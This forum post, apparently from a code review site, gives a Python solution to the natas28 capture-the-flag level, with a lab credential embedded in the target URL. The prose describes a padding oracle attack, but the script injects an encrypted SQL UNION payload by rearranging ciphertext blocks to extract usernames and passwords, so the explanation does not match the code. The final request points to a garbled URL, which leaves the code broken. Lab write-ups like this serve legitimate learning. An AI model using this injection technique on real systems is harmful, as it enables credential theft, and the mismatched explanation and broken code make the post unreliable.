Another natas challange, they are getting progressively harder. I barely completed this. Mostly thnx to @aires to help me with the crypto stuff.
This time, a Padding Oracle attack was needed to get the password for the next level. Another reason to be scared of crypt:o
In short the Padding Oracle Attack works like this:
It turns out that knowing whether or not a given ciphertext produces plaintext with valid padding is ALL that an attacker needs to break a CBC encryption. If you can feed in ciphertexts and somehow find out whether or not they decrypt to something with valid padding or not, then you can decrypt ANY given ciphertext.
So the only mistake that you need to make in your implementation of CBC encryption is to have an API endpoint that returns 200 if the ciphertext gives a plaintext with valid padding, and 500 if not.
I’ve added a link with the full description
import requests import re import base64 from urllib.parse import quote, unquote def natas28(url): session = requests.Session() cipher_text = lambda url, plain_text:base64.b64decode(unquote(session.post(url, data={"query":plain_text}).url.split("query=")[1])) def _block_size(url): ciphertext = cipher_text(url, '') pre_len = len(ciphertext) idx = 0 while pre_len >= len(ciphertext): plaintext = 'a' * idx ciphertext = cipher_text(url, plaintext) idx += 1 return len(ciphertext) - pre_len def _prefix_size(url): block_size = _block_size(url) point = 'a' * block_size * 3 cypher = cipher_text(url, point) cipher_a = "" for i in range(0, len(cypher), block_size): if cypher[i:i+block_size] == cypher[i+block_size: i+block_size*2]: cipher_a = cypher[i: i+block_size] break for i in range(block_size): point = 'a' * (i + block_size) cypher = cipher_text(url, point) if cipher_a in cypher: return block_size, i, cypher.index(cipher_a) block_size, index, cypher_size = _prefix_size(url) point = 'a'* (block_size // 2) cypher = cipher_text(url, point) sql = " UNION ALL SELECT concat(username, 0x3A ,password) FROM users #" pt = 'a' * index + sql + 'b' * (block_size - (len(sql) % block_size)) ct = cipher_text(url, pt) e_sql = ct[cypher_size:cypher_size-index+len(pt)] response = session.get(f"https://codereview.stackexchange.com/questions/180407/natas28-padding-oracle-attacksearch.php/?query=", params={"query": base64.b64encode(cypher[:cypher_size]+e_sql+cypher[cypher_size:])}) return re.findall(r"<li>natas29:(.{32})<\/li>", response.text)[0] if __name__ == '__main__': url='http://natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF@natas28.natas.labs.overthewire.org/' print(f"Password = {natas28(url)}")
I know it’s only a challange, so I don’t always feel the need to us proper variable names. But I fear when I come back to this challange, I’m confused how this worked again.
Any review is welcome.